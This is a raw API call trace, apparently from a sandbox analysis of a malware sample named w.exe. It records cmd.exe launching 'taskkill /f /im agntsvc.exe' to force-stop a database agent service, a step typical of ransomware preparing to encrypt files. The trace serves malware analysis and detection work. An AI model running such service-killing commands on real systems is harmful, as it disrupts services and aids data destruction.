	[0039.670] RtlSizeHeap (HeapHandle=0x830000, Flags=0x0, MemoryPointer=0x842ea0) returned 0x72
	[0039.670] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f40640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.670] GetProcessHeap () returned 0x830000
	[0039.670] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xe0) returned 0x842f20
	[0039.674] GetProcessHeap () returned 0x830000
	[0039.674] RtlReAllocateHeap (Heap=0x830000, Flags=0x0, Ptr=0x842f20, Size=0x76) returned 0x842f20
	[0039.674] GetProcessHeap () returned 0x830000
	[0039.674] RtlSizeHeap (HeapHandle=0x830000, Flags=0x0, MemoryPointer=0x842f20) returned 0x76
	[0039.674] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0039.675] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im agntsvc.exeagntsvc.exe ", fInfoLevelId=0x1, lpFindFileData=0x3cf598, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf598) returned 0xffffffff
	[0039.675] GetLastError () returned 0x3
	[0039.675] GetProcessHeap () returned 0x830000
	[0039.675] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x84aa50 | out: hHeap=0x830000) returned 1
	[0039.675] GetProcessHeap () returned 0x830000
	[0039.675] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x84ea60 | out: hHeap=0x830000) returned 1
	[0039.675] GetProcessHeap () returned 0x830000
	[0039.675] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x846a38 | out: hHeap=0x830000) returned 1
	[0039.675] GetConsoleOutputCP () returned 0x1b5
	[0039.675] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f34260 | out: lpCPInfo=0x49f34260) returned 1
	[0039.675] GetUserDefaultLCID () returned 0x409
	[0039.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49f34950, cchData=8 | out: lpLCData=":") returned 2
	[0039.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3cf9c4, cchData=128 | out: lpLCData="0") returned 2
	[0039.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3cf9c4, cchData=128 | out: lpLCData="0") returned 2
	[0039.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3cf9c4, cchData=128 | out: lpLCData="1") returned 2
	[0039.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49f34940, cchData=8 | out: lpLCData="/") returned 2
	[0039.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49f34d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0039.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49f34d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0039.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49f34d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0039.677] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49f34cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0039.677] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49f34c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0039.677] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49f34c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0039.677] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49f34c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0039.677] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49f34930, cchData=8 | out: lpLCData=".") returned 2
	[0039.677] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49f34920, cchData=8 | out: lpLCData=",") returned 2
	[0039.677] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0039.678] GetProcessHeap () returned 0x830000
	[0039.678] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x0, Size=0x20c) returned 0x842fa0
	[0039.678] GetConsoleTitleW (in: lpConsoleTitle=0x842fa0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0039.678] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0039.678] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0039.678] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0039.678] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0039.679] GetProcessHeap () returned 0x830000
	[0039.679] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x400a) returned 0x846a38
	[0039.679] GetProcessHeap () returned 0x830000
	[0039.679] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x846a38 | out: hHeap=0x830000) returned 1
	[0039.679] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0039.679] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0039.679] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0039.679] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0039.680] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0039.680] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0039.680] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0039.680] GetProcessHeap () returned 0x830000
	[0039.680] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x58) returned 0x8431b8
	[0039.680] GetProcessHeap () returned 0x830000
	[0039.680] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x1a) returned 0x845738
	[0039.680] GetProcessHeap () returned 0x830000
	[0039.680] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x48) returned 0x843218
	[0039.681] GetConsoleTitleW (in: lpConsoleTitle=0x3cf6bc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0039.681] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0039.681] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0039.681] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0039.682] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0039.682] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0039.682] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0039.682] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0039.682] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0039.682] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0039.682] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0039.682] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0039.682] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0039.682] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0039.682] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0039.682] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0039.682] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0039.682] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0039.682] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0039.682] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0039.682] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0039.682] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0039.682] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0039.682] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0039.682] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0039.682] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0039.682] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0039.682] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0039.682] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0039.682] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0039.682] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0039.682] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0039.682] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0039.682] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0039.682] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0039.682] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0039.682] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0039.682] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0039.683] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0039.683] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0039.683] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0039.683] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0039.683] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0039.683] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0039.683] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0039.683] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0039.683] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0039.683] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0039.683] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0039.683] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0039.683] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0039.683] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0039.683] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0039.683] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0039.683] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0039.683] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0039.683] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0039.683] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0039.683] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0039.683] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0039.683] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0039.683] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0039.683] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0039.683] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0039.683] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0039.683] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0039.683] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0039.683] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0039.683] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0039.683] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0039.683] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0039.683] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0039.684] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0039.684] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0039.684] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0039.684] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0039.684] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0039.684] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0039.684] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0039.684] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0039.684] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0039.684] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0039.684] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0039.684] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0039.684] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0039.684] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0039.684] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0039.684] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0039.684] GetProcessHeap () returned 0x830000
	[0039.684] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x210) returned 0x843268
	[0039.684] GetProcessHeap () returned 0x830000
	[0039.684] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x5a) returned 0x843480
	[0039.684] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0039.685] GetProcessHeap () returned 0x830000
	[0039.685] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x418) returned 0x8307f0
	[0039.685] SetErrorMode (uMode=0x0) returned 0x8003
	[0039.685] SetErrorMode (uMode=0x1) returned 0x0
	[0039.685] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x8307f8, lpFilePart=0x3cf1dc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3cf1dc*="Desktop") returned 0x25
	[0039.685] SetErrorMode (uMode=0x8003) returned 0x1
	[0039.685] GetProcessHeap () returned 0x830000
	[0039.685] RtlReAllocateHeap (Heap=0x830000, Flags=0x0, Ptr=0x8307f0, Size=0x66) returned 0x8307f0
	[0039.685] GetProcessHeap () returned 0x830000
	[0039.685] RtlSizeHeap (HeapHandle=0x830000, Flags=0x0, MemoryPointer=0x8307f0) returned 0x66
	[0039.685] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f40640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0039.685] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0039.685] GetProcessHeap () returned 0x830000
	[0039.685] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x120) returned 0x830860
	[0039.685] GetProcessHeap () returned 0x830000
	[0039.685] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x238) returned 0x830988
	[0039.687] GetProcessHeap () returned 0x830000
	[0039.687] RtlReAllocateHeap (Heap=0x830000, Flags=0x0, Ptr=0x830988, Size=0x122) returned 0x830988
	[0039.687] GetProcessHeap () returned 0x830000
	[0039.687] RtlSizeHeap (HeapHandle=0x830000, Flags=0x0, MemoryPointer=0x830988) returned 0x122
	[0039.687] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f40640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.687] GetProcessHeap () returned 0x830000
	[0039.687] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xe0) returned 0x8434e8
	[0039.687] GetProcessHeap () returned 0x830000
	[0039.687] RtlReAllocateHeap (Heap=0x830000, Flags=0x0, Ptr=0x8434e8, Size=0x76) returned 0x8434e8
	[0039.687] GetProcessHeap () returned 0x830000
	[0039.687] RtlSizeHeap (HeapHandle=0x830000, Flags=0x0, MemoryPointer=0x8434e8) returned 0x76
	[0039.687] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0039.687] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3cef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cef58) returned 0xffffffff
	[0039.688] GetLastError () returned 0x2
	[0039.688] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x3cef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cef58) returned 0xffffffff
	[0039.688] GetLastError () returned 0x2
	[0039.688] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0039.688] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3cef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cef58) returned 0x843568
	[0039.688] GetProcessHeap () returned 0x830000
	[0039.688] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x0, Size=0x14) returned 0x8435a8
	[0039.688] FindClose (in: hFindFile=0x843568 | out: hFindFile=0x843568) returned 1
	[0039.688] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x3cef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cef58) returned 0xffffffff
	[0039.688] GetLastError () returned 0x2
	[0039.688] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x3cef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cef58) returned 0x843568
	[0039.688] GetProcessHeap () returned 0x830000
	[0039.688] RtlReAllocateHeap (Heap=0x830000, Flags=0x0, Ptr=0x8435a8, Size=0x4) returned 0x8435a8
	[0039.688] FindClose (in: hFindFile=0x843568 | out: hFindFile=0x843568) returned 1
	[0039.689] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0039.689] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0039.689] GetConsoleTitleW (in: lpConsoleTitle=0x3cf450, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0039.689] InitializeProcThreadAttributeList (in: lpAttributeList=0x3cf2d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3cf3a0 | out: lpAttributeList=0x3cf2d8, lpSize=0x3cf3a0) returned 1
	[0039.689] UpdateProcThreadAttribute (in: lpAttributeList=0x3cf2d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x3cf398, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3cf2d8, lpPreviousValue=0x0) returned 1
	[0039.689] GetStartupInfoW (in: lpStartupInfo=0x3cf294 | out: lpStartupInfo=0x3cf294*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8)) 
	[0039.689] GetProcessHeap () returned 0x830000
	[0039.689] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x18) returned 0x8435b8
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0039.689] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0039.690] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0039.690] GetProcessHeap () returned 0x830000
	[0039.690] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x8435b8 | out: hHeap=0x830000) returned 1
	[0039.690] GetProcessHeap () returned 0x830000
	[0039.690] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xa) returned 0x83ff00
	[0039.690] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0039.692] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im agntsvc.exeagntsvc.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3cf334*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im agntsvc.exeagntsvc.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3cf380 | out: lpCommandLine="taskkill  /f /im agntsvc.exeagntsvc.exe ", lpProcessInformation=0x3cf380*(hProcess=0x78, hThread=0x74, dwProcessId=0x9b0, dwThreadId=0x9a4)) returned 1
	[0039.697] CloseHandle (hObject=0x74) returned 1
	[0039.697] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0039.697] GetProcessHeap () returned 0x830000
	[0039.697] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x845ef8 | out: hHeap=0x830000) returned 1
	[0039.697] GetEnvironmentStringsW () returned 0x854a70*
	[0039.697] GetProcessHeap () returned 0x830000
	[0039.697] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xb36) returned 0x8440b8
	[0039.697] FreeEnvironmentStringsW (penv=0x854a70) returned 1
	[0039.697] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0040.020] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3cf274 | out: lpExitCode=0x3cf274*=0x80) returned 1
	[0040.020] CloseHandle (hObject=0x78) returned 1
	[0040.021] _vsnwprintf (in: _Buffer=0x3cf3bc, _BufferCount=0x13, _Format="%08X", _ArgList=0x3cf280 | out: _Buffer="00000080") returned 8
	[0040.021] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0040.021] GetProcessHeap () returned 0x830000
	[0040.021] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x8440b8 | out: hHeap=0x830000) returned 1
	[0040.021] GetEnvironmentStringsW () returned 0x8440b8*
	[0040.021] GetProcessHeap () returned 0x830000
	[0040.021] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xb5c) returned 0x845ef8
	[0040.021] FreeEnvironmentStringsW (penv=0x8440b8) returned 1
	[0040.021] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0040.021] GetProcessHeap () returned 0x830000
	[0040.021] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x845ef8 | out: hHeap=0x830000) returned 1
	[0040.021] GetEnvironmentStringsW () returned 0x8440b8*
	[0040.021] GetProcessHeap () returned 0x830000
	[0040.021] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xb5c) returned 0x845ef8
	[0040.021] FreeEnvironmentStringsW (penv=0x8440b8) returned 1
	[0040.021] GetProcessHeap () returned 0x830000
	[0040.021] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x83ff00 | out: hHeap=0x830000) returned 1
	[0040.021] DeleteProcThreadAttributeList (in: lpAttributeList=0x3cf2d8 | out: lpAttributeList=0x3cf2d8) 
	[0040.021] _get_osfhandle (_FileHandle=1) returned 0xac
	[0040.021] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0040.021] _get_osfhandle (_FileHandle=1) returned 0xac
	[0040.021] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x49f341ac | out: lpMode=0x49f341ac) returned 0
	[0040.021] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0040.021] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x49f341b0 | out: lpMode=0x49f341b0) returned 0
	[0040.022] GetConsoleOutputCP () returned 0x1b5
	[0040.022] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f34260 | out: lpCPInfo=0x49f34260) returned 1
	[0040.022] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0040.022] exit (_Code=128) 

Process:
	id = "33"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4b128000"
	os_pid = "0x9b0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "32"
	os_parent_pid = "0x9b4"
	cmd_line = "taskkill  /f /im agntsvc.exeagntsvc.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
